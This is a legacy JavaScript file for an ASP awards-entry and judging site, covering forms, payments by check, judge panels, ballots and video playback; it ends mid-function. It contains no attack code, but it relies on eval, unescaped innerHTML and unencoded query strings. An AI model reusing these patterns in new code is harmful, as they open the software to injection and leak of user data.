// function to post form before moviing to another page
// need this function to save data before hand.
function chklogin(obj, task){
	obj.action = "/chklogin.asp?task=" + task
	obj.submit();
}

function setcategory(obj){
	obj.action = "/setcat.asp"
	obj.submit();
}

function setdma(obj){
	obj.action = "/setdma.asp"
	obj.submit();
}

function viewcategory(obj){
	obj.action = "/validate.asp?task=category"
	obj.submit()
}

function viewdma(obj){
	obj.action = "/validate.asp?task=dma"
	obj.submit()
}

function saveform(obj, url){
	obj.action = url
	obj.submit()
}

function delete_entry(entryid){
	if (confirm('WARNING! If you delete this entry (' + entryid + '), it will be no longer available to you.\n\nDo you want to DELETE this entry?\n\nClick OK to confirm, CANCEL otherwise.')) {
		if (confirm('Are you sure you want to DELETE entry ' + entryid + ' ?')) {
			location.href="/delete.asp?entryid=" + entryid
		}
	}
}

function SynchFlags(which)
    {
	var ml=document.frminput;
	if (which == 1) {
	    ml.status2.selectedIndex = ml.status1.selectedIndex;
	}
	else {
	    ml.status1.selectedIndex = ml.status2.selectedIndex;
	}
}

function addForm(obj, id){
	obj.action = "/validate.asp?task=addform&frm_id=" + id
	obj.submit()
}

function delForm(obj, id, num){
	obj.action = "/validate.asp?task=delform&frm_id=" + id + "&frm_num=" + num
	obj.submit()
}	

function addmember(obj, tableid, recid, xtraid){
	obj.action = "/membership.edit.asp?tableid=" + tableid + "&recid=" + recid + "&xtraid=" + xtraid
	obj.submit();
}

function addentryid(obj, url) {
	obj.action = url;
	obj.submit();
}

function reviewmember(obj, member_num){
	obj.action = "/manager.asp?task=members&mode=view&MEMBER_NUM=" + member_num
	obj.submit();
}

function WinPrintLabel() {
	window.open("/inc/address.asp", "AddressLabel", "toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=450,height=120");
}

function printLabel() {
	if (window.print){window.print(); window.close();}
}

function printPage() {
	if (window.print){window.print();}
}

function PrintEntry(entryid) {
	window.open("/manager.asp?task=list&mode=view&ver=printable&action=print&entryid=" + entryid, "PrintEntry", "toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=100,height=100");
}

function getArray(frm_array, num){
	frm_array[0] = 'Title' + num;
	frm_array[1] = 'FirstName' + num;
	frm_array[2] = 'MiddleName' + num;
	frm_array[3] = 'LastName' + num;
	frm_array[4] = 'StationCompany' + num;
	frm_array[5] = 'Address' + num + '[0]';
	frm_array[6] = 'Address' + num + '[1]';
	frm_array[7] = 'Apt' + num;
	frm_array[8] = 'City' + num;
	frm_array[9] = 'State' + num;
	frm_array[10] = 'Zip' + num;
	frm_array[11] = 'Phone' + num;
	frm_array[12] = 'Ext' + num;
	frm_array[13] = 'Fax' + num;
	frm_array[14] = 'Email' + num;
}

// function to copy information from one form to the other.
// DCI --> DSR
// DCI --> ESR
function copydata(obj, dest, num, src, msg){
	var i;
	
	var max_array = 14;
	var frm_array = new Array(max_array)
	getArray(frm_array, num);

	if (!(checkDSRDuplicate(obj, dest, frm_array, max_array)))
		for (i=0; i<=max_array; i++)
			tranferdata(eval('obj.' + src + frm_array[i]), eval('obj.' + dest + frm_array[i]));
	else
		alert(msg);
	
	return false;
}

// transfer data from form A to form B.
function tranferdata(src_obj, dest_obj){
	if ( eval(dest_obj) && eval(src_obj) )
		eval(dest_obj).value = eval(src_obj).value;
}

function checkDSRDuplicate(obj, dest, frm_array, max_array){
	var i;
	var dup_frms;
	dup_frms = 0
	//if ((dest=="ESR") || (dest=="DSR"))
		for (i=0; i<=max_array; i++)
			if ((eval('obj.DSR' + frm_array[i]).value == eval('obj.DCI' + frm_array[i]).value ) || (eval('obj.ESR' + frm_array[i]).value == eval('obj.DCI' + frm_array[i]).value ))
				if ((!((eval('obj.DSR' + frm_array[i]).value=='') && (eval('obj.DCI' + frm_array[i]).value==''))) || (!((eval('obj.ESR' + frm_array[i]).value=='') && (eval('obj.DCI' + frm_array[i]).value==''))))
					dup_frms++;
	return (dup_frms>5);
}

function deletedata(obj, src, num){
	var i;
	var max_array = 14;
	var frm_array = new Array(max_array)
	getArray(frm_array, num);
	
	for (i=0; i<=max_array; i++){
		//alert(!(!(eval('obj.' + src + frm_array[i]))));
		if ( eval('obj.' + src + frm_array[i]) )
			eval('obj.' + src + frm_array[i]).value = "";
	}
			
	return false;
}


// Functions for data format like phone, zip, etc.
var txtinput;
var tmpinput;
var ftype;
function FormatEntry(obj, fnum){
	txtinput = obj
	ftype = fnum	
	FormatIt();
}	

function FormatIt(){
	// fnum = 1 then format zip (l1)
	l1 = 6;
	l2 = 6;
	if (ftype==2){
		l1 = 4;
		l2 = 8;
	}

	if (txtinput.value.length == l1 || txtinput.value.length == l2) {
		tmpinput=txtinput.value;
		dash=txtinput.value.indexOf('-')
		if(txtinput.value.length==l2 && ftype==2)
			dash=-1;
		if(dash==-1){
			charindex = l1;
			if(txtinput.value.length==l2)
				charindex = l2;
				if ((txtinput.value.charAt(charindex-1))!='-')
					tmpinput=txtinput.value.substring(0,charindex-1)+"-"+txtinput.value.charAt(charindex-1);
		}
		txtinput.value="";
		txtinput.value=tmpinput;
	}

	setTimeout(FormatIt,0);
}

var prop_array = new Array();
var pos_array = new Array();
var sd_array = new Array();
var ed_array = new Array();
var total_frms = -1;

function posProperties(frmbg, frm_name0, frm_name1, frm_name2, frm_rqd0, frm_rqd1, frm_rqd2, frm_label0, frm_label1, frm_label2){
	prop_array[0] = frmbg;
	prop_array[1] = frm_name0;
	prop_array[2] = frm_name1;
	prop_array[3] = frm_name2;
	prop_array[4] = frm_rqd0;
	prop_array[5] = frm_rqd1;
	prop_array[6] = frm_rqd2;
	prop_array[7] = frm_label0;
	prop_array[8] = frm_label1;
	prop_array[9] = frm_label2;
}

function showList(){
	var i;
	var msg;
	
	msg = ''
	
	for (i=0; i<=total_frms; i++) {
		
		msg = msg + '<table border="0" width="100%" cellpadding="2" cellspacing="0" bgcolor="' + prop_array[0] + '">';
		msg = msg + '<tr><td class="emmy-txt" width="35%" bgcolor="' + prop_array[0] + '"><b>';
		if (prop_array[4]) { msg = msg + '*'; }
		msg = msg + prop_array[7] + '</b></td>';
		msg = msg + '<td class="emmy-txt" width="20%" bgcolor="' + prop_array[0] + '"><b>';
		if (prop_array[5]) { msg = msg + '*'; }
		msg = msg + prop_array[8] + '</b></td>';
		msg = msg + '<td class="emmy-txt" colspan="2" width="45%" bgcolor="' + prop_array[0] + '"><b>';
		if (prop_array[6]) { msg = msg + '*'; }
		msg = msg + prop_array[9] + '</b></td></tr>';
		msg = msg + '<tr><td class="emmy-txt" width="35%" valign="top" bgcolor="' + prop_array[0] + '"><b>';
		msg = msg + '<input type="text" name="' + prop_array[1] + '" value="' + pos_array[i] + '"></td>';
		msg = msg + '<td class="emmy-txt" width="20%" valign="bottom" bgcolor="' + prop_array[0] + '"><b>';
		msg = msg + '<input type="text" name="' + prop_array[2] + '" value="' + sd_array[i] + '"></td>';
		msg = msg + '<td class="emmy-txt" width="20%" valign="bottom" bgcolor="' + prop_array[0] + '"><b>';
		msg = msg + '<input type="text" name="' + prop_array[3] + '" value="' + ed_array[i] + '"></td>';
		msg = msg + '<td class="emmy-txt" width="25%" valign="top" bgcolor="' + prop_array[0] + '"><b>';
		msg = msg + '<input type="button" name="pe" value="Edit" onclick="editPos(document.frminput, ' + i + ')">&nbsp;&nbsp;<input type="button" name="pd" value="Delete" onclick="delPos(' + i + ')"></td></tr>';
		msg = msg + '</table>';
	}
	
	writeInfo('listpositions', msg);
}

function clearPos(obj){
	obj.ph.value = ""
	obj.sd.value = ""
	obj.ed.value = ""
	obj.pei.value = ""
	flipMenu('addposition');
	showList();
	flipMenu('listpositions');
}

function addPos(src_obj){
	var index;
	var temp;
	
	// make sure all data is correct	
	if ( (!(src_obj.ph.value=="")) && isDate(src_obj.sd.value, 'MM/dd/yyyy') && isDate(src_obj.ed.value, 'MM/dd/yyyy')){
		
		index = total_frms;
	
		if (src_obj.pei.value) 
			index = src_obj.pei.value;
		else
			{ index++; total_frms = index; }
	
		//alert(total_frms);	
		
		pos_array[index] = src_obj.ph.value;
		sd_array[index] = src_obj.sd.value;
		ed_array[index] = src_obj.ed.value;
		//if (!(src_obj.pei.value)) total_frms++;
		clearPos(src_obj); }
	else
		if (!(src_obj.ph.value=="")) 
			alert("Please enter correct DATE RANGE. Click Ok to Continue");
		else
			alert("Please enter a POSITION. Click Ok to Continue");
	return 
}

function savPos(obj0, obj1, obj2){
	var i;
	// obj0.enabled  check error here
	for (i=0; i<obj1.options.length; i++)
		{
		obj0.options[i].selected = true;
		obj1.options[i].selected = true;
		obj2.options[i].selected = true;
	//	alert(obj0.options[i].value + '   ' + obj1.options[i].value + '   ' + obj2.options[i].value);
	}
	
}

function editPos(obj, i){
	obj.pei.value = i;
	obj.ph.value = pos_array[i];
	obj.sd.value = sd_array[i];
	obj.ed.value = ed_array[i];
	flipMenu('addposition');
}

function delPos(i){
	var index;
	var found;
	
	found = false;
	
	//alert(pos_array.length);
	//alert(total_frms);
	
	for (index=0; index<pos_array.length; index++){
		if (!(found))
			found = (index==i);
		if (found){
			pos_array[index] = pos_array[index+1];
			sd_array[index] = sd_array[index+1];
			ed_array[index] = ed_array[index+1];
		}
	}
	if (found){
		total_frms--;
		//pos_array.length--;
		//sd_array.length--;
		//ed_array.length--;
	}
	if (total_frms>=0)
		showList();
	else
		flipMenu('listpositions');
}


var visMnu = null;
var actMnu;
var x;

function flipMenu(actMnu)
{
	var x = new getObj(actMnu);
	if (visMnu == null)
		showMenu(x);
	else
	{
		if (visMnu.obj.id == x.obj.id)
			hideMenu(x);
		else
		{
			hideMenu(visMnu);
			showMenu(x);
		}
	}
}

function showMenu(x)
{	
   x.style.display = 'block';
   // getting x object id name
   visMnu = new getObj(x.obj.id);
}

function hideMenu(x)
{
   x.style.display = 'none';
   visMnu = null;
}


//write info to layers
function writeInfo(name, message)
{
  if (document.getElementById)
  {
  	document.getElementById(name).innerHTML = message;
  }
  else if (document.all)
  {
	document.all[name].innerHTML = message;
  }
  else if (document.layers)
  {
   	document.layers[name].document.open();
   	document.layers[name].document.write(message);
   	document.layers[name].document.close();
  }
}


//reposition of the document help
function positionInfo(name)
{
  if(window.event + "" == "undefined") event = null;
  if (document.getElementById)
  {
  	document.getElementById(name).style.top = document.body.scrollTop+event.clientY+20;
  	document.getElementById(name).style.left = document.body.scrollLeft+event.clientX;
  }
  else if (document.all)
  {
	document.all[name].style.top = document.body.scrollTop+event.clientY+20;
	document.all[name].style.left = document.body.scrollLeft+event.clientX;
  }
  else if (document.layers)
  {
   	document.layers[name].top = event.y+20;
   	document.layers[name].left = event.x;
  }
}


// getting object property
function getObj(name)
{
  if (document.getElementById)
  {
  	this.obj = document.getElementById(name);
	this.style = document.getElementById(name).style;
  }
  else if (document.all)
  {
	this.obj = document.all[name];
	this.style = document.all[name].style;
  }
  else if (document.layers)
  {
	this.obj = getObjNN4(document,name);
	this.style = this.obj;   	
  }
}

function getObjNN4(obj,name)
{
	var x = obj.layers;
	var foundLayer;
	for (var i=0;i<x.length;i++)
	{
		if (x[i].id == name)
		 	foundLayer = x[i];
		else if (x[i].layers.length)
			var tmp = getObjNN4(x[i],name);
		if (tmp) foundLayer = tmp;
	}
	return foundLayer;
}

// function to check and un-check all boxes
function checkAll(field){
	if (!(field.length))
		field.checked = true ;
	for (i = 0; i<field.length; i++)
		field[i].checked = true ;
}

function uncheckAll(field){
	if (!(field.length))
		field.checked = false ;	
	for (i = 0; i<field.length; i++)
		field[i].checked = false ;
}

function clearRadio(field){
   for(i = 0; i<field.length; i++)
     field[i].checked = false;
}

function checkOneRadio(field){
var checked;
	checked = 0;
	for(i = 0; i<field.length; i++){
		if (field[i].checked)
			checked=i;
		field[i].checked = false;}
	field[checked].checked = true;
}

// initialize the total price
function setTotalPrice(obj){
	obj.inv_total.value = 0;
}

// function to set the price if boxes are checked
function priceSelected(obj, field){
		
	if (field) {
	
		if (!(field.length)){
			if (field.checked){
				if (( eval('obj.' + field.value ).length))
					enabledBox( obj, eval('obj.' + field.value ), field.checked );
			}
		}
		for (i = 0; i<field.length; i++)
		{
			if (field[i].checked){
				if (( eval('obj.' + field[i].value ).length))
					enabledBox( obj, eval('obj.' + field[i].value ), field[i].checked );
			}
		}
	}
}

// function to check and un-check all boxes
function priceAll(obj, field){
		
	if (field) {
	
		if (!(field.length)){
			field.checked = true;
			if (( eval('obj.' + field.value ).length))
				priceBox( obj, eval('obj.' + field.value ), field.checked );
		}
		for (i = 0; i<field.length; i++)
		{
			field[i].checked = true;
			if (( eval('obj.' + field[i].value ).length))
				priceBox( obj, eval('obj.' + field[i].value ), field[i].checked )
		}
	}
}

// function to check and un-check all boxes
function unpriceAll(obj, field){
	if (field) {
	
		if (!(field.length)){
			field.checked = false;
			if (( eval('obj.' + field.value ).length))
				priceBox( obj, eval('obj.' + field.value ), field.checked );
		}
		for (i = 0; i<field.length; i++)
		{
			field[i].checked = false;
			if (( eval('obj.' + field[i].value ).length))
				priceBox( obj, eval('obj.' + field[i].value ), field[i].checked )
		}
	}
	setTotalPrice(obj);
	iprice = 0;
}

function priceBox(obj, field, chkd){
	//alert(chkd);
	if ((field.length) && (chkd)){
		field[0].disabled = false;
		field[0].value = field[1].value;
		//alert(obj.inv_total_orig.value);
		addValues(field[0].value, obj.inv_total, obj.inv_total_orig.value, 1);
		}
	else{
		addValues(field[0].value, obj.inv_total, obj.inv_total_orig.value, -1);
		field[0].value = 0;
		field[0].disabled = true;
	}
}

function enabledBox(obj, field, chkd){
	//alert(chkd);
	if ((field.length) && (chkd))
		field[0].disabled = false;
}

var iprice  //global var

// when the form text box has been selected, actaul rpice before change
function getPrice(theVal){
	iprice = 0
	if (IsNumeric(theVal))
		iprice = parseFloat(theVal);
	//alert(iprice);
}		

function calculatePrice(theVal, maxVal, field, obj){ //

var nprice;
var mprice;
var difVal;

	nprice = 0;
	
	if (IsNumeric(theVal))
		nprice = parseFloat(theVal)
	else
		nprice = iprice;
	
	mprice = 0;
	if (IsNumeric(maxVal))
		mprice = parseFloat(maxVal);	

	difVal = iprice;		//current price
	if (nprice>mprice){
		field.value = iprice;	//current price
		if (iprice>mprice)
			field.value = mprice;}	//max price
	else
		{
		field.value = nprice;	//new price
		if ((iprice>mprice) || (nprice>mprice))
			field.value = mprice;	//max price
		else
			if (nprice>mprice)
				field.value = iprice;	//current price
		}
	
	//alert(parseFloat(field.value)- difVal);
	addValues(parseFloat(field.value)-difVal, obj.inv_total, obj.inv_total_orig.value, 1);
	
}

function addValues(theVal, field, maxVal, absVal){
	
	var field_val
	
	field_val = 0
	
	if (IsNumeric(field.value))
		field_val = parseFloat(field.value);

	if (IsNumeric(theVal))
		field_val = field_val + (parseFloat(theVal) * absVal);		
		
	field.value = field_val

	//alert(parseInt(theVal));
}

function IsNumeric(sText)
{
   var ValidChars = "0123456789";
   var IsNumber=true;
   var Char;
 
   for (ii = 0; ii < sText.length && IsNumber == true; ii++) 
      { 
      Char = sText.charAt(ii); 
      if (ValidChars.indexOf(Char) == -1) 
         {
         IsNumber = false;
         }
      }
   return IsNumber;
   
   }
   
function confirm_payment(obj, org_val, new_val, chkrt, chkact, chknum){
	var chk_org_val;
	var chk_new_val;
	
	if (IsNumeric(org_val))
		chk_org_val = parseFloat(org_val);

	if (IsNumeric(new_val))
		chk_new_val = parseFloat(new_val);
		
	if ((!(chknum=="")) && (!(chkrt=="")) && (!(chkact=="")) && (chk_new_val>0) && (!(chk_new_val>chk_org_val))){
		if (confirm("You entered the following information:\n\n * Check Routing Number: " + chkrt + "\n * Account Number: " + chkact + "\n * Check Number " + chknum + "\n\n Check Amount: " + toUSCurrency(chk_new_val) + ".\n\n If this is correct click OK, otherwise click CANCEL."))
			{
				obj.action = "/manager.asp?task=invoice&mode=confirm";
				obj.submit();}}
	else{
		if ((chknum=="") || (chkrt=="") && (chkact==""))
			alert("Please enter correct Bank Information.\n\nYou must provide the following information:\n\n * Check Routing Number\n * Account Number\n * Check Number");
		else
			alert("Please select at least one item to pay.");
		}
}

function toUSCurrency(input)
{
	// Make sure input is a string:
	input += "";

	// Keep original copy of input string:
	var original_input = input;

	// Strip leading dollar sign if necessary:
	if (input . charAt (0) == "$")
		input = input . substring (1, input . length);
	else if
	(
		input . substring (0, 2) == "-$"
	||	input . substring (0, 2) == "+$"
	)
		input = input . charAt (0) + input . substring (2, input . length);

	// Get float value:
	var amount = parseFloat (input);

	// Return unmodified input if we weren't able to convert it:
	if (isNaN (amount))
		return original_input;


	// Express amount in pennies, rounded to the nearest penny:
	amount = Math . round (100 * amount);

	// Prepare to add a US currency prefix:
	var prefix = "$";
	if (amount < 0)
	{
		prefix = "-" + prefix;
		amount = - amount;
	}

	// Convert amount to string and pad with leading zeros if necessary:
	var string;
	if (amount < 10)
		string = "00" + amount;
	else if (amount < 100)
		string = "0" + amount;
	else
		string = "" + amount;

	// Insert prefix:
	string = prefix + string;

	// Insert decimal point before last two digits:
	string =
		string . substring (0, string . length - 2) +
		"." +
		string . substring (string . length - 2, string . length);

	// Return formatted currency string:
	return string;
}
   
 
//search engine   
function setPeopleCriteria(field, field_entry, field_people){
var unchecked;
	unchecked	= 0;
	if (field.length){
		uncheckAll(field_entry);
		checkOneRadio(field_people);
		for (i = 0; i<field.length; i++)
			if (!(field[i].checked))
				unchecked++;
		if (unchecked==field.length){
			checkOneRadio(field_entry);
			uncheckAll(field_people);}
		else
			checkOneRadio(field_people);
	}
}

//homepage function for grahics events
function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}


function ShowProperForm()
{	
	
	for (i=0; i<document.frminput.jdg_pos.length; i++)
		
		if (document.frminput.jdg_pos[i].checked)
			if (i==-1) {
				flipMenu("ft2");
				flipMenu("ft1");
				document.frminput.jdg_sna.value = "";
				document.frminput.jdg_sgr.value = "";
				document.frminput.jdg_jti.value = "";
				document.frminput.jdg_jem.value = ""; }
			else
				if (i==0) {
					flipMenu("ft2");
					document.frminput.jdg_jti.value = "";
					document.frminput.jdg_jem.value = ""; 					
					flipMenu("ft1");
					}
				else {		
					document.frminput.jdg_sna.value = "";
					document.frminput.jdg_sgr.value = "";
					flipMenu("ft1");
					flipMenu("ft2");
					}
					
}

function popwindow_panel(panelid, roundid, mode) {
	rno = Math.round(Math.random()*1000000);
	//alert(rno);
	window.open("/inc/judge.panel.asp?PANELID=" + panelid + "&roundid=" + roundid + "&mode=" + mode + "&rno=" + rno, rno, "toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=400,height=275");
}


function moveSelectedJudges(from,to) {
	// Move them over
	for (var i=0; i<from.options.length; i++) {
		var o = from.options[i];
		if (o.selected) {
			to.options[to.options.length] = new Option( o.text, o.value, false, false);
			rno = Math.round(Math.random()*1000000);
			//alert(getJudgeID(o.value) + ':' + getPanelID(o.value) + ':' + getRoundID(o.value));
			window.open('/inc/judge.panel.save.asp?JUDGEID=' + getJudgeID(o.value) + '&PANELID=' + getPanelID(o.value) + '&ROUNDID=' + getRoundID(o.value) + '&LOCATION=' + to.options.name + '&rno=' + rno, rno,'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=1,height=1');
			}
	}
	// Delete them from original
	for (var i=(from.options.length-1); i>=0; i--) {
		var o = from.options[i];
		if (o.selected)
			from.options[i] = null;
	}
	
	from.selectedIndex = -1;
	to.selectedIndex = -1;
}

function getJudgeID(judgeid){
	s = (judgeid.indexOf(":"));
	if (s>0){
		judgeid = judgeid.substring(0, judgeid.indexOf(":"))		
	}
	return judgeid;
}

function getEntryID(entryid){
	s = (entryid.indexOf(":"));
	if (s>0){
		entryid = entryid.substring(0, entryid.indexOf(":"))
	}
	return entryid;
}

function getPanelID(panelid){
	s = (panelid.indexOf(":"));
	if (s>0){
		tmp = panelid.substring(s+1, panelid.length)
		panelid = tmp.substring(0, tmp.indexOf(":"))
	}
	return panelid;
}

function getRoundID(roundid){
	s = (roundid.indexOf(":"));
	if (s>0){
		roundid = roundid.substring(s+1, roundid.length)
		s = (roundid.indexOf(":"));
		if (s>0){
			roundid = roundid.substring(s+1, roundid.length)
		}			
	}
	return roundid;
}

function saveVotingActive(ACTIVE) {
	rno = Math.round(Math.random()*1000000);
	window.open('/inc/judge.voting.active.asp?ACTIVE=' + ACTIVE + '&rno=' + rno, rno,'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=1,height=1');
}


function SaveDefaultRound(ROUNDID) {
	rno = Math.round(Math.random()*1000000);
	location.href = "/inc/judge.voting.dates.asp?action=default_round&ROUNDID=" + ROUNDID + "&rno=" + rno;
}

function moveSelectedEntries(from,to) {
	// Move them over
	for (var i=0; i<from.options.length; i++) {
		var o = from.options[i];
		if (o.selected) {
			to.options[to.options.length] = new Option( o.text, o.value, false, false);
			rno = Math.round(Math.random()*1000000);
			//alert(getJudgeID(o.value) + ':' + getPanelID(o.value));
			//alert(getRoundID(o.value));
			window.open('/inc/judge.entry.save.asp?ENTRYID=' + getEntryID(o.value) + '&PANELID=' + getPanelID(o.value) + '&ROUNDID=' + getRoundID(o.value) + '&LOCATION=' + to.options.name + '&rno=' + rno, rno,'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=1,height=1');
			}
	}
	// Delete them from original
	for (var i=(from.options.length-1); i>=0; i--) {
		var o = from.options[i];
		if (o.selected)
			from.options[i] = null;
	}
	
	from.selectedIndex = -1;
	to.selectedIndex = -1;
}

function popwindow_browsertest(JUDGEID) {
	rno = Math.round(Math.random()*1000000);
	//alert(rno);
	window.open("/inc/browsertest.asp?JUDGEID=" + JUDGEID + "&rno=" + rno, rno, "toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=200,height=100");
}


//******************************************************************************8
// voting function /player manipulation

function ShowEntryPanel(swfObj)
{		
	//set link menu text
	//writeInfo('MnuLinkList', "<table border=0 cellpadding=0 cellspacing=0 width=448 height=30 bgcolor=#FFFFFF valign=middle><tr><td class=emmy-txt bgcolor=#FFFFFF width=448 height=30 align=center valign=middle><a class=emmy-link href=javascript: onclick=javascript:ShowEntryPanel('MnuEntryPanel');>Hide Entry List Panel</a></td></tr></table>");
	
	//stopping video from playing
	//stopvideo();

	//alert("hello");
		
	// hidding buttons window
	//Show_Hide_Info('MnuButtons', 'none');
	
	// hidding text window
	//Show_Hide_Info('MnuText', 'none');
	//alert(swfObj);
	swfObj = null;
	document.getElementById('flashcontent').innerHTML = '';
	
	// show player window
	//document.getElementById('videoPlayer').play = false;
	//Show_Hide_Info('MnuPlayer', 'none');
	Show_Hide_Info('MnuLinkList', 'none');
		
	// showing entry list menu
	flipMenu('MnuEntryPanel');
	
}

function SetText(MnuName, message, action){
	writeInfo(MnuName, message);
	Show_Hide_Info(MnuName, action);
}

function SetView(src_video, swfObj)
{
	// show player window
	//Show_Hide_Info('MnuPlayer', 'block');
	
	// show buttons window
	//Show_Hide_Info('MnuButtons', 'block');

	// set video source
    swfObj = new SWFObject("videoPlayer.swf", "videoPlayer", "450", "270", "9", "#FFFFFF");
    swfObj.addVariable("vidPath", src_video); // this line is optional, but this example uses the variable and displays this text inside the flash movie
    swfObj.write("flashcontent");
	
	//document.vid.SetSource(src_video);
	//document.getElementById('videoPlayer').src = src_video;
	//document.getElementById('videoPlayer').play();
	//alert(document.getElementById('videoPlayer').src);
}

function Show_Hide_Info(MnuName, action)
{
	var mnu = new getObj(MnuName);
	mnu.style.display = action;
//	mnu = null;
}

function SetTxtView(message)
{
	// hide buttons window
	//Show_Hide_Info('MnuButtons', 'none');

	// show text window info
	//Show_Hide_Info('MnuText', 'block');
	
	// writing info to window
	//writeInfo('MnuText', message);
	writeInfo('flashcontent', message);
	
	// show
	//Show_Hide_Info('MnuPlayer', 'block');	
}

function playvideo(src_video)
{
	document.vid.DoStop();
	document.vid.SetSource(src_video);
	document.vid.DoPlay();
}

function RewindRealMedia() 
{
	// "rewind" the presentation five seconds each time the function is called
	// first get the current position using GetPosition
   var pos;
   pos = document.vid.GetPosition();
	// then either subtract five seconds from the current position or set to 
	// zero if it's close to the beginning.
   if (pos > 10000) { 
       pos = pos - 5000;
      }
   else { 
      pos = 0; 
      }
	// use the new position variable to call SetPosition, 
	// which automatically plays from that point.
   document.vid.SetPosition(pos);
}

function FFRealMedia() 
{
	// "fast-forward" the presentation five seconds when the function is called
   var pos;
   pos = document.vid.GetPosition();
   pos = pos + 5000;

	// again, no stop or play necessary - just seek to next position.
   document.vid.SetPosition(pos);
}

function stopvideo()
{
	document.vid.DoStop();
	document.vid.SetNoLogo(true);
}

function LoadBallotForm(field,entry_array,id){
	//alert(id);
	//alert(entry_array[id,0]);
	writeInfo('ENTRY_ID', entry_array[id][0]);
	writeInfo('TITLE_AND_CATEGORY', entry_array[id][1]);
	writeInfo('DATE_AND_LENGTH', entry_array[id][2]);
	writeInfo('SCHOOL', entry_array[id][3]);
	writeInfo('FILES', entry_array[id][4]);
	writeInfo('VOTING', entry_array[id][5]);
	field.value = entry_array[id][0];
}

function checkvote(JUDGEID, obj){

	cnt_val = checkoptselected(obj.cnt);
	crt_val = checkoptselected(obj.crt);
	exe_val = checkoptselected(obj.exe);
	
	if ((!(obj.ENTRYID.value==null)) && (!(JUDGEID==null)) && (cnt_val>0) && (crt_val>0) && (exe_val>0)){
		if (confirm("PLEASE READ:\n\n * ENTRYID: " + obj.ENTRYID.value + "\n * JUDGEID: " + JUDGEID + "\n * Content: " + cnt_val + "\n * Creativity: " + crt_val + "\n * Execution: " + exe_val + "\n\n Comments: " + obj.com.value + ".\n\n If this is correct click OK, otherwise click CANCEL.")){
			rno = Math.round(Math.random()*1000000);
			window.open('/inc/judge.voting.save.asp?ENTRYID=' + obj.ENTRYID.value + '&JUDGEID=' + JUDGEID + '&cnt=' + cnt_val + '&crt=' + crt_val + '&exe=' + exe_val + '&com=' + obj.com.value + '&rno=' + rno, rno,'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=200,height=100');
		}
	}
	else
		alert('PLEASE CORRECT YOUR VOTE');
}

function checkvotehtml(obj){

	cnt_val = checkoptselected(obj.cnt);
	crt_val = checkoptselected(obj.crt);
	exe_val = checkoptselected(obj.exe);
	
	if ((!(obj.ENTRYID.value==null)) && (!(obj.JUDGEID.value==null)) && (cnt_val>0) && (crt_val>0) && (exe_val>0)){
		if (confirm("PLEASE READ:\n\n * ENTRYID: " + obj.ENTRYID.value + "\n * JUDGEID: " + obj.JUDGEID.value + "\n * Content: " + cnt_val + "\n * Creativity: " + crt_val + "\n * Execution: " + exe_val + "\n\n Comments: " + obj.com.value + ".\n\n If this is correct click OK, otherwise click CANCEL.")){
			obj.action = "/inc/judge.voting.save.asp?mode=html"
			obj.submit();
			//alert(obj.action);
		}
	}
	else
		alert('PLEASE CORRECT YOUR VOTE');
}

function checkoptselected(field){
	valid = 0;
	if (eval(field)){
		if (!(field.length))
			valid = field.value;
		for (j = 0; j<field.length; j++)
			if (field[j].checked)
				valid = field[j].value;
	}
	return valid;
}

// EFFECTS
function mOvr(src,clrOver) {
	if (!src.contains(event.fromElement)) {
		src.style.cursor = 'hand';
		src.bgColor = clrOver;
	}
}

function mOut(src,clrIn) {
	if (!src.contains(event.toElement)) {
		src.style.cursor = 'default';
		src.bgColor = clrIn;
	}
}

function mClk(src) {
	if(event.srcElement.tagName=='TD'){
		src.children.tags('A')[0].click();
	}
}


function AutomatePanels(ROUNDID){
	rno = Math.round(Math.random()*1000000);
	url = '/inc/judge.panel.create.asp?rno=' + rno + '&ROUNDID=' + ROUNDID;
	if (confirm("Are you sure you want to do this?"))
		if (showModalDialog(url, window, "status:off;dialogWidth:600px;dialogHeight:450px;resizable:off;scroll:off;help:off"))
			window.location.reload();
}


function UpdateRoundEntries(ROUNDID){
	rno = Math.round(Math.random()*1000000);
	url = '/inc/judge.round.entry.asp?rno=' + rno + '&ROUNDID=' + ROUNDID;
	if (confirm("Are you sure you want update entries for Round " + ROUNDID + "?"))
		if (showModalDialog(url, window, "status:off;dialogWidth:600px;dialogHeight:450px;resizable:on;scroll:off;help:off"))
			window.location.reload();
}


function DistributeEntries(ROUNDID){
	rno = Math.round(Math.random()*1000000);
	url = '/inc/judge.round.entry.distribution.asp?rno=' + rno + '&ROUNDID=' + ROUNDID;
	if (confirm("Are you sure you want to distribute all entries for Round " + ROUNDID + "?"))
		if (showModalDialog(url, window, "status:off;dialogWidth:600px;dialogHeight:450px;resizable:off;scroll:off;help:off"))
			window.location.reload();
}

function DistributeJudges(ROUNDID){
	rno = Math.round(Math.random()*1000000);
